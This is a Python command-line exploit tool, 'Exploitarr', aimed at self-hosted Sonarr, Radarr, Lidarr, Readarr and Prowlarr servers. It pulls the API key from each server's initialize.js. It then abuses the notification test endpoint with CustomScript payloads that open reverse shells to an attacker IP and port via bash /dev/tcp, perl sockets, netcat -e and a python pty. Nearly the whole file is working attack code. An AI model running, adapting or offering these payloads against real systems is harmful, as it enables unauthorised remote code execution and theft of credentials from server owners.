exploitarr.py

from __future__ import annotations
from typing import Optional
import typer
import requests
import re
import ipaddress

from enum import Enum, auto
import urllib3
urllib3.disable_warnings()


app = typer.Typer(name="Exploitarr", add_completion=False,
                  no_args_is_help=True)

### Typer Callbacks ###


def _validIP(ip: str):
    try:
        ipaddress.ip_address(ip)
        return ip
    except:
        raise typer.BadParameter(
            f"does not appear to be a valid address: `{ip}`")


def _validPort(port: int):
    if port > 0xFFFF:
        raise typer.BadParameter(f"cannot exceed {0xFFFF}: got `{port}`")
    return port

### CLI ###


@app.command()
def probe(host: str):
    """
    Probe HOST to check vulnerability
    """
    host_info = _probe(host)
    if host_info:
        exploitable = host
        exploitable += typer.style(" is vulnerable\n",
                                   typer.colors.BRIGHT_GREEN)
        exploitable += typer.style("Service: ", typer.colors.BRIGHT_MAGENTA)
        exploitable += f"{host_info.service}\n"
        exploitable += typer.style("API Key: ", typer.colors.BRIGHT_MAGENTA)
        exploitable += f"{host_info.apiKey}\n"
        exploitable += typer.style("API Root: ", typer.colors.BRIGHT_MAGENTA)
        exploitable += f"{host_info.apiRoot}"

        typer.echo(exploitable)
    else:
        notVulnerable(host)


@app.command()
def exploit(
    host: str,
    ip: str = typer.Option(
        ...,
        help="IP to listen for connection",
        envvar="EXPLOITARR_IP",
        callback=_validIP
    ),
    port: int = typer.Option(
        10001,
        help="Port to listen for connection",
        envvar="EXPLOITARR_PORT",
        callback=_validPort
    ),
):
    """
    Exploit HOST to get reverse shell
    """
    host_info = _probe(host)
    if not host_info:
        notVulnerable(host)
        exit(1)
    _tryPayloads(host_info, ip, port)


@app.command()
def test():
    """
    Run doc tests
    """
    import doctest
    doctest.testmod()

### Implementation ###


def notVulnerable(host: str):
    err = host
    err += typer.style(" is not vulnerable", typer.colors.RED)
    typer.echo(err)


class Service(Enum):
    SONARR = auto()
    RADARR = auto()
    LIDARR = auto()
    READARR = auto()
    PROWLARR = auto()

    def fromStr(service: str) -> Optional[Service]:
        """
        Get Service enum from service name string

        >>> Service.fromStr("Sonarr")
        <Service.SONARR: 1>

        >>> Service.fromStr("readarr")
        <Service.READARR: 4>

        >>> Service.fromStr("Exploitarr") is None
        True
        """
        service = service.upper()
        if service in Service.__members__:
            return Service.__members__[service]

    def __str__(self) -> str:
        return self.name.capitalize()

    def hasSystemProc(self) -> bool:
        """
        Return if Service has protected system folders

        >>> Service.SONARR.hasSystemProc()
        True

        >>> Service.LIDARR.hasSystemProc()
        False

        >>> Service.READARR.hasSystemProc()
        False
        """
        return not (self == self.LIDARR or self == self.READARR)


class HostInfo:
    def __init__(self, host: str, service: Service, apiKey: str, apiRoot: str) -> None:
        self.host = host
        self.service = service
        self.apiKey = apiKey
        self.apiRoot = apiRoot
        self.systemProc = service.hasSystemProc()

    def __str__(self) -> str:
        return f"{self.service} {self.host}; {self.apiRoot} {self.apiKey} Proc:{self.systemProc}"


def _probe(host: str) -> Optional[HostInfo]:
    """
    Probe a HOST to get instance details if it is vulnerable
    """
    host = host.strip().strip("/")
    r = None
    try:
        # initialize.js contains info including apiKey and apiRoot
        r = requests.get(f"{host}/initialize.js",
                         allow_redirects=True, verify=False)
    except:
        err = typer.style("Could not connect to ", typer.colors.RED)
        err += host
        typer.echo(err)
        exit(1)

    # Successful connection
    if r and r.status_code == 200:
        service = _extractServiceName(r.text)
        if service:
            return HostInfo(host, service, **_extractInitializeInfo(r.text))


def _extractServiceName(initialize: str) -> Optional[Service]:
    r"""
    Get Service from initialize.js response

    >>> initialize = ("window.Sonarr = {" \
    ... "\n\tapiRoot: '/api/v3',"
    ... "\n\tapiKey: 'PLACEHOLDER_KEY',"
    ... "\n\trelease: '3.0.6.1342-main',"
    ... "\n\tversion: '3.0.6.1342',"
    ... "\n\tbranch: 'main',"
    ... "\n\tanalytics: false,"
    ... "\n\turlBase: '',"
    ... "\n\tisProduction: true"
    ... "\n};")
    >>> _extractServiceName(initialize)
    <Service.SONARR: 1>
    >>> _extractServiceName("window.Exploitarr") is None
    True
    """
    pattern = re.compile(r"window\.(.+?)[ =]")
    matchStr = pattern.search(initialize)
    if matchStr:
        return Service.fromStr(matchStr.group(1))


def _extractInitializeInfo(initialize: str) -> dict[str, str]:
    r"""
    Extract apiKey and apiRoot as dict from initialize.js response

    >>> initialize = ("window.Sonarr = {" \
    ... "\n\tapiRoot: '/api/v3',"
    ... "\n\tapiKey: 'PLACEHOLDER_KEY',"
    ... "\n\trelease: '3.0.6.1342-main',"
    ... "\n\tversion: '3.0.6.1342',"
    ... "\n\tbranch: 'main',"
    ... "\n\tanalytics: false,"
    ... "\n\turlBase: '',"
    ... "\n\tisProduction: true"
    ... "\n};")
    >>> initJSON = _extractInitializeInfo(initialize)
    >>> initJSON["apiKey"]
    'PLACEHOLDER_KEY'
    >>> initJSON["apiRoot"]
    '/api/v3'
    """
    # Extract apiKey + apiRoot
    # Can't directly parse as not compliant JSON so regex is simpler
    apiRootPattern = re.compile(r"apiRoot:\s*'(.+?)'")
    apiKeyPattern = re.compile(r"apiKey:\s*'(.+?)'")

    apiRoot = apiRootPattern.search(initialize)
    apiKey = apiKeyPattern.search(initialize)

    if not (apiRoot or apiKey):
        return

    result = {}
    result["apiRoot"] = apiRoot.group(1)
    result["apiKey"] = apiKey.group(1)
    return result


def _tryPayloads(host: HostInfo, ip: str, port: int):
    """
    Keep trying payloads until success or there are no payloads left
    """
    headers = {
        "X-Api-Key": host.apiKey,
        "Content-Type": "application/json"
    }
    for i, payload in enumerate(_getPayload(host, ip, port)):
        msg = typer.style("Sending Payload:", typer.colors.GREEN)
        typer.echo(f"{msg} {i + 1} ... ", nl=False)
        # Send request
        r = requests.post(host.host + host.apiRoot +
                          "/notification/test", headers=headers, data=payload)
        if r.status_code == 200:
            typer.echo(typer.style("Success!", typer.colors.BRIGHT_GREEN))
            return
        else:
            typer.echo(typer.style("Failure!", typer.colors.RED))
            print(r.text, r.status_code)

    msg = typer.style(
        "Unable to connect successfully :/\nEnsure the device is correctly listening on ", typer.colors.MAGENTA)
    msg += f"{ip}:{port}\ne.g. "
    msg += typer.style(f"`nc -lvnp {port}`", typer.colors.BRIGHT_BLUE)
    typer.echo(msg)


def _getPayload(host: HostInfo, ip: str, port: int):
    """
    Iterate through possible payloads. Fill in IP, Port of listening device
    """
    if not host.systemProc:
        for payload in PAYLOADS["UNPROTECTED"]:
            yield payload.format(ip, port)
    for payload in PAYLOADS["PROTECTED"]:
        yield payload.format(ip, port)


### Payloads ###
# Double {{ }} is required to escape the curly brackets
# \\ required to escape \
PAYLOADS = {
    # No System Folder Protection
    "UNPROTECTED": [
        """
{{
    "name": "exploitarr",
    "fields": [
        {{
            "name": "path",
            "value": "/bin/bash"
        }},
        {{
            "name": "arguments",
            "value": "-c \\"bash -i >& /dev/tcp/{0}/{1} 0>&1\\""
        }}
    ],
    "implementation": "CustomScript",
    "configContract": "CustomScriptSettings",
}}
"""
    ],
    # System Folder Protection
    "PROTECTED": [
        """
{{
    "name": "exploitarr",
    "fields": [
        {{
            "name": "path",
            "value": "/usr/bin/perl"
        }},
        {{
            "name": "arguments",
            "value": "-E \\"use Socket;$i=qq{{{0}}};$p={1};socket(S,PF_INET,SOCK_STREAM,getprotobyname(qq{{tcp}}));if(connect(S,sockaddr_in($p,inet_aton($i)))){{open(STDIN,qq{{>&S}});open(STDOUT,qq{{>&S}});open(STDERR,qq{{>&S}});exec(qq{{/bin/bash -i}});}};\\""
        }}
    ],
    "implementation": "CustomScript",
    "configContract": "CustomScriptSettings",
}}
""",

        """
{{
    "name": "exploitarr",
    "fields": [
        {{
            "name": "path",
            "value": "/usr/bin/bash"
        }},
        {{
            "name": "arguments",
            "value": "-c \\"bash -i >& /dev/tcp/{0}/{1} 0>&1\\""
        }}
    ],
    "implementation": "CustomScript",
    "configContract": "CustomScriptSettings",
}}
""",

        """
{{
    "name": "exploitarr",
    "fields": [
        {{
            "name": "path",
            "value": "/usr/bin/nc"
        }},
        {{
            "name": "arguments",
            "value": "{0} {1} -e /bin/bash"
        }}
    ],
    "implementation": "CustomScript",
    "configContract": "CustomScriptSettings",
}}
""",

        """
{{
    "name": "exploitarr",
    "fields": [
        {{
            "name": "path",
            "value": "/usr/bin/python"
        }},
        {{
            "name": "arguments",
            "value": "-c 'import sys,socket,os,pty;s=socket.socket();s.connect((\\"{0}\\",{1}));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\\"/bin/sh\\")'"
        }}
    ],
    "implementation": "CustomScript",
    "configContract": "CustomScriptSettings",
}}
"""
    ]
}

### Main ###


if __name__ == "__main__":
    app()